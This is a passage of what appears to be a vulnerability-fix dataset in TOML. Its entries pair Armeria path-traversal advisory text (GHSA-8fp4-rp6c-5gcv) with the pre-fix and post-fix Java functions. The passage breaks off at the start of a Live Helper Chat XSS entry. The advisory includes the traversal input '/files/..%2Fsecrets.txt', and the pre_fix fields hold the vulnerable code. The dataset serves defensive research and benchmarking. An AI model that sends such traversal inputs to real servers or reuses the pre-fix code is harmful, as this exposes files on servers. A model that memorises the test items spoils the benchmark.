+function_lines = [[390, 407]]
+id = "line-armeria-5e40f3c4fd9a04ba"
+language = "java"
+method = "fix_site"
+parent = "a1105519e920b00ee3bc848a5074d943925931ef"
+path = "core/src/main/java/com/linecorp/armeria/internal/common/PathAndQuery.java"
+post_fix = " private static boolean pathContainsDoubleDots(Bytes path) {\n final int length = path.length;\n byte b0 = 0;\n byte b1 = 0;\n byte b2 = '/';\n for (int i = 1; i < length; i++) {\n final byte b3 = path.data[i];\n // Flag if the last four bytes are `/../`.\n if (b1 == '.' && b2 == '.' && isSlash(b0) && isSlash(b3)) {\n return true;\n }\n b0 = b1;\n b1 = b2;\n b2 = b3;\n }\n\n // Flag if the last three bytes are `/..`.\n return b1 == '.' && b2 == '.' && isSlash(b0);\n }\n"
+pre_fix = " private static boolean pathContainsDoubleDots(Bytes path) {\n final int length = path.length;\n byte b0 = 0;\n byte b1 = 0;\n byte b2 = '/';\n for (int i = 1; i < length; i++) {\n final byte b3 = path.data[i];\n if (b3 == '/' && b2 == '.' && b1 == '.' && b0 == '/') {\n return true;\n }\n b0 = b1;\n b1 = b2;\n b2 = b3;\n }\n\n return b0 == '/' && b1 == '.' && b2 == '.';\n }\n"
+repo = "line/armeria"
+url = "https://github.com/line/armeria.git"
+
+[[case]]
+advisory = "GHSA-8fp4-rp6c-5gcv"
+advisory_text = "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n .builder()\n .serviceUnder(\n \"/files\",\n FileService\n .of(...)\n .decorate((delegate, ctx, req) -> {\n String path = req.headers().path();\n if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n return HttpResponse.of(HttpStatus.BAD_REQUEST);\n }\n return delegate.serve(ctx, req);\n })\n )\n .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user))."
+commit = "e2697a575e9df6692b423e02d731f293c1313284"
+cwe = "CWE-22"
+family = "path"
+function = "toString"
+function_lines = [[181, 188]]
+id = "line-armeria-7fb77b8814401e5d"
+language = "java"
+method = "fix_site"
+parent = "a1105519e920b00ee3bc848a5074d943925931ef"
+path = "core/src/main/java/com/linecorp/armeria/internal/common/PathAndQuery.java"
+post_fix = " public String toString() {\n if (query == null) {\n return path;\n }\n return path + '?' + query;\n }\n\n @Nullable"
+pre_fix = " public String toString() {\n if (query == null) {\n return path;\n }\n return path + \"?\" + query;\n }\n\n @Nullable"
+repo = "line/armeria"
+url = "https://github.com/line/armeria.git"
+
+[[case]]
+advisory = "GHSA-8fp4-rp6c-5gcv"
+advisory_text = "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n .builder()\n .serviceUnder(\n \"/files\",\n FileService\n .of(...)\n .decorate((delegate, ctx, req) -> {\n String path = req.headers().path();\n if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n return HttpResponse.of(HttpStatus.BAD_REQUEST);\n }\n return delegate.serve(ctx, req);\n })\n )\n .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user))."
+commit = "e2697a575e9df6692b423e02d731f293c1313284"
+cwe = "CWE-22"
+family = "path"
+function = "rawParam"
+function_lines = [[97, 105]]
+id = "line-armeria-ecc4313228868198"
+language = "java"
+method = "fix_site"
+parent = "a1105519e920b00ee3bc848a5074d943925931ef"
+path = "core/src/main/java/com/linecorp/armeria/server/RoutingResultBuilder.java"
+post_fix = " public RoutingResultBuilder rawParam(String name, String value) {\n pathParams().put(requireNonNull(name, \"name\"),\n ArmeriaHttpUtil.decodePathParam(requireNonNull(value, \"value\")));\n return this;\n }\n\n /**\n * Sets the score.\n */"
+pre_fix = " public RoutingResultBuilder rawParam(String name, String value) {\n pathParams().put(requireNonNull(name, \"name\"),\n ArmeriaHttpUtil.decodePath(requireNonNull(value, \"value\")));\n return this;\n }\n\n /**\n * Sets the score.\n */"
+repo = "line/armeria"
+url = "https://github.com/line/armeria.git"
+
+[[case]]
+advisory = "GHSA-8fp4-rp6c-5gcv"
+advisory_text = "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n .builder()\n .serviceUnder(\n \"/files\",\n FileService\n .of(...)\n .decorate((delegate, ctx, req) -> {\n String path = req.headers().path();\n if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n return HttpResponse.of(HttpStatus.BAD_REQUEST);\n }\n return delegate.serve(ctx, req);\n })\n )\n .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user))."
+commit = "e2697a575e9df6692b423e02d731f293c1313284"
+cwe = "CWE-22"
+family = "path"
+function = "decodePercentsAndEncodeToUtf8"
+function_lines = [[231, 358]]
+id = "line-armeria-fff692dc76424e72"
+language = "java"
+method = "fix_site"
+parent = "a1105519e920b00ee3bc848a5074d943925931ef"
+path = "core/src/main/java/com/linecorp/armeria/internal/common/PathAndQuery.java"
+post_fix = " private static Bytes decodePercentsAndEncodeToUtf8(String value, int start, int end, boolean isPath) {\n final int length = end - start;\n if (length == 0) {\n return isPath ? ROOT_PATH : EMPTY_QUERY;\n }\n\n final Bytes buf = new Bytes(Math.max(length * 3 / 2, 4));\n boolean wasSlash = false;\n for (final CodePointIterator i = new CodePointIterator(value, start, end);\n i.hasNextCodePoint();/* noop */) {\n final int pos = i.position();\n final int cp = i.nextCodePoint();\n\n if (cp == '%') {\n final int hexEnd = pos + 3;\n if (hexEnd > end) {\n // '%' or '%x' (must be followed by two hexadigits)\n return null;\n }\n\n final int digit1 = decodeHexNibble(value.charAt(pos + 1));\n final int digit2 = decodeHexNibble(value.charAt(pos + 2));\n if (digit1 < 0 || digit2 < 0) {\n // The first or second digit is not hexadecimal.\n return null;\n }\n\n final int decoded = (digit1 << 4) | digit2;\n if (isPath) {\n if (decoded == '/') {\n // Do not decode '%2F' and '%2f' in the path to '/' for compatibility with\n // other implementations in the ecosystem, e.g. HTTP/JSON to gRPC transcoding.\n // https://github.com/googleapis/googleapis/blob/02710fa0ea5312d79d7fb986c9c9823fb41049a9/google/api/http.proto#L257-L258\n buf.ensure(1);\n buf.addEncoded((byte) '/');\n wasSlash = false;\n } else {\n if (appendOneByte(buf, decoded, wasSlash, isPath)) {\n wasSlash = false;\n } else {\n return null;\n }\n }\n } else {\n // If query:\n if (RESERVED_CHARS.get(decoded)) {\n buf.ensure(1);\n buf.addEncoded((byte) decoded);\n wasSlash = false;\n } else if (appendOneByte(buf, decoded, wasSlash, isPath)) {\n wasSlash = decoded == '/';\n } else {\n return null;\n }\n }\n\n i.position(hexEnd);\n continue;\n }\n\n if (cp == '+' && !isPath) {\n buf.ensure(1);\n buf.addEncoded((byte) ' ');\n wasSlash = false;\n continue;\n }\n\n if (cp <= 0x7F) {\n if (!appendOneByte(buf, cp, wasSlash, isPath)) {\n return null;\n }\n wasSlash = cp == '/';\n continue;\n }\n\n if (cp <= 0x7ff) {\n buf.ensure(2);\n buf.addEncoded((byte) ((cp >>> 6) | 0b110_00000));\n buf.addEncoded((byte) (cp & 0b111111 | 0b10_000000));\n } else if (cp <= 0xffff) {\n buf.ensure(3);\n buf.addEncoded((byte) ((cp >>> 12) | 0b1110_0000));\n buf.addEncoded((byte) (((cp >>> 6) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) ((cp & 0b111111) | 0b10_000000));\n } else if (cp <= 0x1fffff) {\n buf.ensure(4);\n buf.addEncoded((byte) ((cp >>> 18) | 0b11110_000));\n buf.addEncoded((byte) (((cp >>> 12) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) (((cp >>> 6) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) ((cp & 0b111111) | 0b10_000000));\n } else if (cp <= 0x3ffffff) {\n // A valid unicode character will never reach here, but for completeness.\n // http://unicode.org/mail-arch/unicode-ml/Archives-Old/UML018/0330.html\n buf.ensure(5);\n buf.addEncoded((byte) ((cp >>> 24) | 0b111110_00));\n buf.addEncoded((byte) (((cp >>> 18) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) (((cp >>> 12) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) (((cp >>> 6) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) ((cp & 0b111111) | 0b10_000000));\n } else {\n // A valid unicode character will never reach here, but for completeness.\n // http://unicode.org/mail-arch/unicode-ml/Archives-Old/UML018/0330.html\n buf.ensure(6);\n buf.addEncoded((byte) ((cp >>> 30) | 0b1111110_0));\n buf.addEncoded((byte) (((cp >>> 24) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) (((cp >>> 18) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) (((cp >>> 12) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) (((cp >>> 6) & 0b111111) | 0b10_000000));\n buf.addEncoded((byte) ((cp & 0b111111) | 0b10_000000));\n }\n\n wasSlash = false;\n }\n\n return buf;\n }\n"
+pre_fix = " private static Bytes decodePercentsAndEncodeToUtf8(String value, int start, int end, boolean isPath) {\n final int length = end - start;\n if (length == 0) {\n return isPath ? ROOT_PATH : EMPTY_QUERY;\n }\n\n final Bytes buf = new Bytes(Math.max(length * 3 / 2, 4));\n boolean wasSlash = false;\n for (final CodePointIterator i = new CodePointIterator(value, start, end);\n i.hasNextCodePoint();/* noop */) {\n final int pos = i.position();\n final int cp = i.nextCodePoint();\n\n if (cp == '%') {\n final int hexEnd = pos + 3;\n if (hexEnd > end) {\n // '%' or '%x' (must be followed by two hexadigits)\n return null;\n }\n\n final int digit1 = decodeHexNibble(value.charAt(pos + 1));\n final int digit2 = decodeHexNibble(value.charAt(pos + 2));\n if (digit1 < 0 || digit2 < 0) {\n // The first or second digit is not hexadecimal.\n return null;\n }\n\n final int decoded = (digit1 << 4) | digit2;\n if (isPath) {\n if (decoded == '/') {\n // Do not decode '%2F' and '%2f' in the path to '/' for compatibility with\n // other implementations in the ecosystem, e.g. HTTP/JSON to gRPC transcoding.\n // https://github.com/googleapis/googleapis/blob/02710fa0ea5312d79d7fb986c9c9823fb41049a9/google/api/http.proto#L257-L258\n\n // Insert a special mark so we can distinguish a raw character ('/') and\n // percent-encoded character ('%2F') in a path string.\n // We will encode this mark back into a percent-encoded character later.\n final byte marker = RAW_CHAR_TO_MARKER['/'];\n buf.ensure(2);\n buf.add((byte) PERCENT_ENCODING_MARKER);\n buf.add(marker);\n wasSlash = false;\n } else {\n if (appendOneByte(buf, decoded, wasSlash, isPath)) {\n wasSlash = false;\n } else {\n return null;\n }\n }\n } else {\n // If query:\n final byte marker = RAW_CHAR_TO_MARKER[decoded];\n if (marker != 0) {\n // Insert a special mark so we can distinguish a raw character and percent-encoded\n // character in a query string, such as '&' and '%26'.\n // We will encode this mark back into a percent-encoded character later.\n buf.ensure(2);\n buf.add((byte) PERCENT_ENCODING_MARKER);\n buf.add(marker);\n wasSlash = false;\n } else if (appendOneByte(buf, decoded, wasSlash, isPath)) {\n wasSlash = decoded == '/';\n } else {\n return null;\n }\n }\n\n i.position(hexEnd);\n continue;\n }\n\n if (cp == '+' && !isPath) {\n buf.ensure(1);\n buf.add((byte) ' ');\n wasSlash = false;\n continue;\n }\n\n if (cp <= 0x7F) {\n if (!appendOneByte(buf, cp, wasSlash, isPath)) {\n return null;\n }\n wasSlash = cp == '/';\n continue;\n }\n\n if (cp <= 0x7ff) {\n buf.ensure(2);\n buf.add((byte) ((cp >>> 6) | 0b110_00000));\n buf.add((byte) (cp & 0b111111 | 0b10_000000));\n } else if (cp <= 0xffff) {\n buf.ensure(3);\n buf.add((byte) ((cp >>> 12) | 0b1110_0000));\n buf.add((byte) (((cp >>> 6) & 0b111111) | 0b10_000000));\n buf.add((byte) ((cp & 0b111111) | 0b10_000000));\n } else if (cp <= 0x1fffff) {\n buf.ensure(4);\n buf.add((byte) ((cp >>> 18) | 0b11110_000));\n buf.add((byte) (((cp >>> 12) & 0b111111) | 0b10_000000));\n buf.add((byte) (((cp >>> 6) & 0b111111) | 0b10_000000));\n buf.add((byte) ((cp & 0b111111) | 0b10_000000));\n } else if (cp <= 0x3ffffff) {\n // A valid unicode character will never reach here, but for completeness.\n // http://unicode.org/mail-arch/unicode-ml/Archives-Old/UML018/0330.html\n buf.ensure(5);\n buf.add((byte) ((cp >>> 24) | 0b111110_00));\n buf.add((byte) (((cp >>> 18) & 0b111111) | 0b10_000000));\n buf.add((byte) (((cp >>> 12) & 0b111111) | 0b10_000000));\n buf.add((byte) (((cp >>> 6) & 0b111111) | 0b10_000000));\n buf.add((byte) ((cp & 0b111111) | 0b10_000000));\n } else {\n // A valid unicode character will never reach here, but for completeness.\n // http://unicode.org/mail-arch/unicode-ml/Archives-Old/UML018/0330.html\n buf.ensure(6);\n buf.add((byte) ((cp >>> 30) | 0b1111110_0));\n buf.add((byte) (((cp >>> 24) & 0b111111) | 0b10_000000));\n buf.add((byte) (((cp >>> 18) & 0b111111) | 0b10_000000));\n buf.add((byte) (((cp >>> 12) & 0b111111) | 0b10_000000));\n buf.add((byte) (((cp >>> 6) & 0b111111) | 0b10_000000));\n buf.add((byte) ((cp & 0b111111) | 0b10_000000));\n }\n\n wasSlash = false;\n }\n\n return buf;\n }\n"
+repo = "line/armeria"
+url = "https://github.com/line/armeria.git"
+
+[[case]]
+advisory = "GHSA-9hgc-wpc5-v8p9"
+advisory_text = "An attacker can execute malicious javascript in Live Helper Chat\n\nCross-site Scripting (XSS) in GitHub repository livehelperchat/livehelperchat prior to 3.99v. Attacker can execute malicious javascript on application."
+commit = "edef7a8387be718d0de2dfd1e722789afb0461bc"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "render"
+function_lines = [[26, 345]]
+id = "livehelperchat-livehelperchat-4d161f6aa8f9499a"
+language = "javascript"
+method = "fix_site"
+parent = "6bc8f98e93523f00fd5a485153142de6826186d5"
+path = "lhc_web/design/defaulttheme/js/react/src/components/builder/NodeTriggerActionCommand.js"
+post_fix = " render() {\n return (\n